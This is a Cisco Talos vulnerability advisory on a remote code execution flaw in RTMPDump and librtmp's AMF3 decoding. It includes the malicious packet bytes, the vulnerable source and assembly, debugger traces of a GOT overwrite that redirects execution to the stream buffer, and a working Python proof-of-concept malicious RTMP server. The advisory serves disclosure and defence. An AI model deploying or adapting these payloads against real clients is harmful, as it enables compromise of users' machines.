Talos Vulnerability Report

TALOS-2016-0067

RTMPDump librtmp AMF3 Class Member Count Remote Code Execution Vulnerability

January 7, 2016

Description

The vulnerability occurs within the AMF3CD_AddProp function within amf.c. If an attacker sets up a malicious RTMP Media server that defines the number of AMF3 Class Members in a certain way, the attacker can write data to a pointer copied to an arbitrary address ending in 0. This leads to a “write-what-where” condition that could lead to arbitrary remote code execution.

Tested Versions

RTMPDump 2.4
librtmp 1.0

Details

The RTMP protocol was developed by Macromedia (Adobe) for streaming audio, video and data over the internet between a Flash player and a server. One such client used for saving these streams locally to a file is called RTMPDump. RTMPDump is available on Windows and Linux for free either through https://rtmpdump.mplayerhq.hu/ or many Linux Official/Extra Repositories. RTMPDump is also used by many media players including FFmpeg, MPlayer, HTS Home Theater System and cURL.

The developers of RTMPDump also created a library for communicating over RTMP called librtmp. This API provides a simplified interface to communicating over this protocol. librtmp is used by several programs/platforms such as RTMPDump (itself), livestreamer, youtube-dl, XBMC (Kodi), streamCapture and several others.

When an RTMPClient initiates a connected with a server, a simple Handshake exchange occurs. The client sends a packet starting with 0x03 to represent the protocol followed by a 4-byte time stamp (not required) and ‘random’ data totaling 1536 bytes (known as C0 & C1, respectively). The server then responds with the byte 0x03 and another packet 1536 bytes long with the first 4 bytes containing a time stamp, the second 4 containing 0’s and the rest being ‘random’ as well. (S0 and S1). The client then sends C2, which is a copy of S1 and the server responds with S2 which is a copy of C1.

Exploiting

After this handshake is completed, RTMP data can be exchanged. If a server sends the following bytes to the client after the handshake, the crash occurs:

03:00:00:00:00:00:1d:14:00:00:00:00:02:00:01:5f:00:de:ad:be:ef:de:ad:be:ef:03:00:00:11:0a:90:a8:94:17:03:00:09:42:42:42:42

RTMP stream format details

Packet Header Decode

    03                          | RTMP packet with Header Type of 0, so 12 bytes are expected to follow
    00 00 00                    | Time stamp delta = 0
    00 00 1d                    | Packet Length = 0x1d
    14                          | Message ID = 0x14 (20) defines an AMF0 encoded 'commandí message
    00 00 00 00                 | Message Stream ID

RTMP command format details

Packet RTMP Command

    02 00 01                    | Command type = string - Length 0x0001
    5F                          | Command value = ë_í
    00                          | Transaction ID Type = Number
    DE AD BE EF DE AD BE EF     | Transaction ID value 

RTMP Object Stream

    11                        | AMF_AVMPLUS aka AMF3 formating
    0a                        | Object Type = AMF3 Object
    90 a8 94 17               | Object class member count and traits 

Object Traits/Member Count from LSB to MSB

bit[0]      = (1) literal or (0) reference object instance 
                * if 0, remaining significant bits represent object index
bit[1]      = (1) literal or (0) reference trait value    
                * if 0, remaining significant bits represent trait index
bit[2]      = isExternalizable 
bit[3]      = isDynamic                                 
bit[4-31]   = classMembers (1-3 additional bytes used if MSB of first 1-3 bytes is set)

It appears that most (if not all) AMF3 Object Types are vulnerable. The following types were tested successfully:

        0x0, 0x1, 0x2, 0x4, 0x5 0x6, 0x7, 0xA, 0xB, 0xC

The crash could be triggered in a number of ways using many combinations of the following attributes.

    - literal object instance    = 1 | 0 
        * if 0, the value copied to the attacker-controlled buffer will be 0.
            This will cause a DoS.
        * if 1, a pointer to the members of this object will be copied
            to the attacker-controlled buffer, potentially leading to RCE.
    - literal trait value        = 1 | 0
    - isExternalizable           = 1 | 0
    - isDynamic                  = 1 | 0
    - ClassMembers               = 0x1-0xFFFFFFF (1 to 268435455) 
        * signed 29-bit integer since read as integer in AMF3ReadInteger() (see below)
        * The sign is removed if the value is > 268435455 but the maximum value stands 

AMF3 Objects

Objects can be sent as a reference to a previously occurring Object by using an index to the implicit object reference table. Further more, trait information can also be sent as a reference to a previously occurring set of traits by using an index to the implicit traits reference table.

U29O-ref                =    U29    ;   The first (low) bit is a flag
                                    ;   (representing whether an instance
                                    ;   follows) with value 0 to imply that
                                    ;   this is not an instance but a
                                    ;   reference. The remaining 1 to 28
                                    ;   significant bits are used to encode an
                                    ;   object reference index (an integer).

U29O-traits-ref         =    U29    ;   The first (low) bit is a flag with
                                    ;   value 1. The second bit is a flag
                                    ;   (representing whether a trait
                                    ;   reference follows) with value 0 to
                                    ;   imply that this objects traits are
                                    ;   being sent by reference. The remaining
                                    ;   1 to 27 significant bits are used to
                                    ;   encode a trait reference index (an
                                    ;   integer).

U29O-traits-ext         =    U29    ;   The first (low) bit is a flag with
                                    ;   value 1. The second bit is a flag with
                                    ;   value 1. The third bit is a flag with
                                    ;   value 1. The remaining 1 to 26
                                    ;   significant bits are not significant
                                    ;   (the traits member count would always
                                    ;   be 0).

U29O-traits             =    U29    ; The first (low) bit is a flag with
                                    ; value 1. The second bit is a flag with
                                    ; value 1. The third bit is a flag with
                                    ; value 0. The fourth bit is a flag
                                    ; specifying whether the type is
                                    ; dynamic. A value of 0 implies not
                                    ; dynamic, a value of 1 implies dynamic.
                                    ; Dynamic types may have a set of name
                                    ; value pairs for dynamic members after
                                    ; the sealed member   section. The
                                    ; remaining 1 to 25 significant bits are
                                    ; used to encode the number of sealed
                                    ; traits member names that follow after
                                    ; the class name (an integer).

class-name              =    UTF-8-vr        ; Note: use the empty string for
                                             ; anonymous classes.

dynamic-member          =    UTF-8-vr        ; Another dynamic member follows
                             value-type      ; until the string-type is the
                                             ; empty string.

object-type             =    object-marker (U29O-ref | (U29O-traits-ext
                             class-name *(U8)) | U29O-traits-ref | (U29O-
                             traits class-name *(UTF-8-vr))) *(value-type)
                             *(dynamic-member)))

Note that for U29O-traits-ext, after the class-name follows an indeterminable number of bytes as *(U8). This represents the completely custom serialization of “externalizable” types. The client and server have an agreement as to how to read in this information.

AMF3 Variable-Length Encoding

1.3.2 Strings and UTF-8 AMF 0 and AMF 3 use (non-modified) UTF-8 to encode strings. UTF-8 is the abbreviation for 8-bit Unicode Transformation Format. UTF-8 strings are typically preceded with a byte-length header followed by a sequence of variable length (1 to 4 octets) encoded Unicode code-points. AMF 3 uses a slightly modified byte-length header; a detailed description is provided below and referred to throughout the document.

         (hex)                     :                 (binary)
0x00000000 - 0x0000007F            :   0xxxxxxx
0x00000080 - 0x000007FF            :   110xxxxx 10xxxxxx
0x00000800 - 0x0000FFFF            :   1110xxxx 10xxxxxx 10xxxxxx
0x00010000 - 0x0010FFFF            :   11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

This is handled by the function AMF3ReadInteger().

Crash Information

The crash is in amf.c It is triggered by defining an AMF3Class Object (0x11) that declares instance properties along with a member count. Since these values are supplied by the stream, the attacker can control the values of these properties.

The structure used is the following:

struct AMF3ClassDef {
    AVal cd_name;           // Class Name           
    char cd_externalizable; // is externalizable   
    char cd_dynamic;        // is dynamic         
    int cd_num;             // Class Member count
    AVal *cd_props;         // pointer to properies to add
}

type = struct AVal {
    char *av_val;
    int av_len;
}

To exploit this vulnerability, the AMF3ClassDef variable ‘cd->cd_num’ must be populated. cd_num represents the number of properties for an object. This is sent in the modified variable-length-encoding format detailed above. We can only control the 25 bits to specify the address because traits take 4 bits and extension flags take 3. This allows us to control the 7 MSB of the address to write to, excluding the LSB which will become 0 before the vulnerabile code is executed.

Once that value is set, a loop that calls AMFReadString at line 1079 will be called for each class member specified (cd_num).

This call populates an AVal struct called “memberName” which will be set to 0 if a reference trait is set, triggering a DoS. This is due to references being “not supported”. However, the program will continue to run in this condition leading to a Null Pointer Dereference. If the trait is set to ‘instance’ the “memberName->av_val” pointer will point to next property to add in the datastream.

1012 AMF3_Decode(AMFObject *obj, const char *pBuffer, int nSize, int bAMFData)
1013 {
[...snip...]
1076       for (i = 0; i < cd.cd_num; i++)
1077         {
1078           AVal memberName;
1079           len = AMF3ReadString(pBuffer, &memberName); 
1080           RTMP_Log(RTMP_LOGDEBUG, "Member: %s", memberName.av_val);
1081           AMF3CD_AddProp(&cd, &memberName);
1082           nSize -= len;
1083           pBuffer += len;
1084         }
1085     }
[...snip...]

Once the “memberName” variable is initialized and points to the datastream, a call to AMF3CD_AddProp at line 1081 occurs. a trait check is called at line 1261 which skips line 1262 and the data from the stream is copied to an attacker-controlled address at line 1263.

1258 void
1259 AMF3CD_AddProp(AMF3ClassDef *cd, AVal *prop)
1260 {
1261   if (!(cd->cd_num & 0x0f)) 
1262     cd->cd_props = realloc(cd->cd_props, (cd->cd_num + 16) * sizeof(AVal));
1263   cd->cd_props[cd->cd_num++] = *prop; 
1264 }

This “write-what-where” condition is illustrated at address 0x416f36 in the assembly code for line 1263 below:

[snip]
    0x0000000000416f2b <+114>:   mov    rax,QWORD PTR [rbp-0x10]
    0x0000000000416f2f <+118>:   mov    rdx,QWORD PTR [rax+0x8]
    0x0000000000416f33 <+122>:   mov    rax,QWORD PTR [rax]
=>  0x0000000000416f36 <+125>:   mov    QWORD PTR [rcx],rax     
    0x0000000000416f39 <+128>:   mov    QWORD PTR [rcx+0x8],rdx
    0x0000000000416f3d <+132>:   nop
    0x0000000000416f3e <+133>:   leave
[snip]

At this point the memberName->av_val pointer is copied to the address specified by cd->cd_num. Triggering a crash because address 0x4141410 is invalid.

    - *$rax (prop->av_val) == 0x7034eb (points to 0x42424242)
    - $ecx (cd->cd_num) == 0x4141410

    RTMPDump v2.4
    (c) 2010 Andrej Stepanchuk, Howard Chu, The Flvstreamer Team; license: GPL
    Connecting ...
    INFO: Connected...
    
    Program received signal SIGSEGV, Segmentation fault.
    0x0000000000416f36 in AMF3CD_AddProp (cd=0x7fffffff99e0, prop=0x7fffffff9a40) at amf.c:1306
    1306      cd->cd_props[cd->cd_num++] = *prop;

>>> p/x *prop
$28 = {
  av_val = 0x7034eb, 
  av_len = 0x4
}

Note - cd->cd_num is incremented at line 1306 but doesn’t take effect until after the first byte is copied.

>>> p/x *cd
$30 = {
  cd_name = {
    av_val = 0x7034e9, 
    av_len = 0x1
  }, 
  cd_externalizable = 0x1, 
  cd_dynamic = 0x0, 
  cd_num = 0x414142, 
  cd_props = 0x0
}

>>> where
#0  0x0000000000416f36 in AMF3CD_AddProp (cd=0x7fffffff99e0, prop=0x7fffffff9a40) at amf.c:1306
#1  0x0000000000416909 in AMF3_Decode (obj=0x7fffffff9b18, pBuffer=0x7034ea "\tBBBB", nSize=5, bAMFData=1) at amf.c:1125
#2  0x0000000000415f41 in AMFProp_Decode (prop=0x7fffffff9b00, pBuffer=0x7034e3 "\n\220\250\224\027\003", nSize=12, bDecodeName=1) at amf.c:781
#3  0x0000000000416bba in AMF_Decode (obj=0x7fffffff9bd8, pBuffer=0x7034e0 "", nSize=15, bDecodeName=1) at amf.c:1220
#4  0x0000000000415d14 in AMFProp_Decode (prop=0x7fffffff9bc0, pBuffer=0x7034e0 "", nSize=15, bDecodeName=0) at amf.c:691
#5  0x0000000000416bba in AMF_Decode (obj=0x7fffffff9d00, pBuffer=0x7034df "\003", nSize=16, bDecodeName=0) at amf.c:1220
#6  0x000000000040ef70 in HandleInvoke (r=0x7fffffffa3c0, body=0x7034d2 "\002", nBodySize=29) at rtmp.c:2922
#7  0x000000000040afb7 in RTMP_ClientPacket (r=0x7fffffffa3c0, packet=0x7fffffff9d90) at rtmp.c:1332
#8  0x000000000040aa4d in RTMP_ConnectStream (r=0x7fffffffa3c0, seekTime=0) at rtmp.c:1123
#9  0x000000000040574e in main (argc=5, argv=0x7fffffffe878) at rtmpdump.c:1321

Another Exploit Scenario

An attacker could overwrite something more interesting such as the got.plt structure. There are protections in place on modern Linux systems to prevent the page containing the datastream from being executed. This is also not accounting for ASLR or other Linux exploit security protections, such as pie. However, this section is to provide more details of how this exploit could be utilized.

For each property cd_num, the loop at line 1079 will continue to overwrite every other entry in the got.plt structure with memberName->av_val with each entry in between being set to memberName->av_len.

For a string length of count of 0x9 (equals 0x4 when trait flags removed), each PLT entry between this is overwritten with 0x04000000.

after a few rounds, the plt looks like this (note how every other entry is the length specified for this property).

>>> x/64x 0x622250
0x622250 <strcasecmp@got.plt>:  0x007034eb  0x00000000  0x00000004  0x00000000
0x622260 <localtime@got.plt>:   0x007034eb  0x00000000  0x00000004  0x00000000
0x622270 <__errno_location@got.plt>:    0x007034eb  0x00000000  0x00000004  0x00000000
0x622280 <strncmp@got.plt>: 0x007034eb  0x00000000  0x00000004  0x00000000
0x622290 <BN_set_word@got.plt>: 0x007034eb  0x00000000  0x00000004  0x00000000
0x6222a0 <inflate@got.plt>: 0x007034eb  0x00000000  0x00000004  0x00000000
0x6222b0 <fread@got.plt>:   0x007034eb  0x00000000  0x00000004  0x00000000
0x6222c0 <strtod@got.plt>:  0x007034eb  0x00000000  0x00000004  0x00000000
0x6222d0 <setsockopt@got.plt>:  0xf721a290  0x00007fff  0x00402556  0x00000000
0x6222e0 <SSL_free@got.plt>:    0x00402566  0x00000000  0x00402576  0x00000000

At this point, a got.plt entry that is called before the program crashes is needed. Luckily, a logging function is called soon after this exploit (rtmp_log_default at log.c:52) that subsequently calls vsnprintf() which happens to be at an address ending in 0.

0x0000000000402530 ? jmp    QWORD PTR [rip+0x21fd92]        # 0x6222c8 <vsnprintf@got.plt>

To quickly determine the variable-length encoded bytes needed to overwrite this pointer, a handy tool called pyamf3 is available on GitHub https://github.com/hydralabs/pyamf It is important to remember that the required trait flags are needed which will be set to 0 before the exploit occurs.

Use pyamf3 to grab this address

>>> from pyamf.amf3 import encode_int
>>> encode_int(0x622537)
'\x81\xc4\xa5\x37'

>>> p/x $rcx
$1 = 0x403530

>>> p/x $rax
$3 = 0x7034eb

>>> p/x *$rax
$5 = 0xcccccccc

Upon execution, $rip will point to the stream buffer address 0x7034eb containing the ‘code’ 0xcccccccc.

Program received signal SIGSEGV, Segmentation fault.
0x00000000007034eb in ?? ()

Although memory protections prevent this page from being executed, the concept is still valid.

0x0000000000416f36 AMF3CD_AddProp+125 mov    QWORD PTR [rcx],rax

>>> p/x $rcx
$33 = 0x622530

>>> p/x *$rax
$34 = 0xcccccccc

Continuing execution

Program received signal SIGSEGV, Segmentation fault.
0x00000000007034eb in ?? ()

>>> p/x $rip
$35 = 0x7034eb

>>> x/8i $rip
=> 0x7034eb:    int3   
   0x7034ec:    int3   
   0x7034ed:    int3   
   0x7034ee:    int3   
   0x7034ef:    add    BYTE PTR [rax],al
   0x7034f1:    add    BYTE PTR [rax],al
   0x7034f3:    add    BYTE PTR [rax],al
   0x7034f5:    add    BYTE PTR [rax],al

>>> where
#0  0x00000000007034eb in ?? ()
#1  0x0000000000416efd in AMF3CD_AddProp (cd=0x7fffffff99e0, prop=0x7fffffff9a40) at amf.c:1305
#2  0x0000000000416909 in AMF3_Decode (obj=0x7fffffff9b18, pBuffer=0x703513 "", nSize=-36, bAMFData=1) at amf.c:1125
#3  0x0000000000415f41 in AMFProp_Decode (prop=0x7fffffff9b00, pBuffer=0x7034e3 "\n\201h7\003", nSize=12, bDecodeName=1) at amf.c:781
#4  0x0000000000416bba in AMF_Decode (obj=0x7fffffff9bd8, pBuffer=0x7034e0 "", nSize=15, bDecodeName=1) at amf.c:1220
#5  0x0000000000415d14 in AMFProp_Decode (prop=0x7fffffff9bc0, pBuffer=0x7034e0 "", nSize=15, bDecodeName=0) at amf.c:691
#6  0x0000000000416bba in AMF_Decode (obj=0x7fffffff9d00, pBuffer=0x7034df "\003", nSize=16, bDecodeName=0) at amf.c:1220
#7  0x000000000040ef70 in HandleInvoke (r=0x7fffffffa3c0, body=0x7034d2 "\002", nBodySize=29) at rtmp.c:2922
#8  0x000000000040afb7 in RTMP_ClientPacket (r=0x7fffffffa3c0, packet=0x7fffffff9d90) at rtmp.c:1332
#9  0x000000000040aa4d in RTMP_ConnectStream (r=0x7fffffffa3c0, seekTime=0) at rtmp.c:1123
#10 0x000000000040574e in main (argc=5, argv=0x7fffffffe878) at rtmpdump.c:1321

Exploit Proof-of-Concept

Start a malicious RTMP media server:

------------------------------------------------
#!/usr/bin/env python2

import socket
import signal
import sys

HOST = '0.0.0.0'
PORT = 1935
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)
conn, addr = s.accept()

def run_program():
    print 'Connected by', addr

    # must pass the handshake first,
    # just reflecting the bytes back is enough
    # for rtmpdump to accept the handshake.

    data = conn.recv(2048)
    conn.send(data)
    print 'handshake 1 complete'

    data = conn.recv(2048)
    conn.send(data)
    print 'handshake 2 complete'

    data = conn.recv(2048)
    print 'sending exploit...'

    # Uncomment to write to 0x4141410, triggering a DoS
#data='\x03\x00\x00\x00\x00\x00\x1d\x14\x00\x00\x00\x00\x02\x00\x01\x5f\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x03\x00\x00\x11\x0a\x90\xa8\x94\x17\x03\x00\x05\x42\x42\x42\x42'
    
    # Uncomment to overwrite the vsnprintf() pointer to the data stream which will attempt to execute 0xCCCCCCCC as opcodes.
#data='\x03\x00\x00\x00\x00\x00\x1d\x14\x00\x00\x00\x00\x02\x00\x01\x5f\x00\xde\xad\xbe\xef\xde\xad\xbe\xef\x03\x00\x00\x11\x0a\x81\xc4\xa5\x37\x03\x00\x05\xcc\xcc\xcc\xcc'

    print "data sent:"

    conn.send(data)
    conn.close()

if __name__ == '__main__':
    run_program()

------------------------------------------------

Start rtmpdump

------------------------------------------------

$ rtmpdump -r rtmp://127.0.0.1/app/test -o /dev/null

RTMPDump v2.4
(c) 2010 Andrej Stepanchuk, Howard Chu, The Flvstreamer Team; license: GPL
Connecting ...
INFO: Connected...
Segmentation fault (core dumped)
------------------------------------------------

Credit

Discovered by Dave McDaniel of Cisco Talos.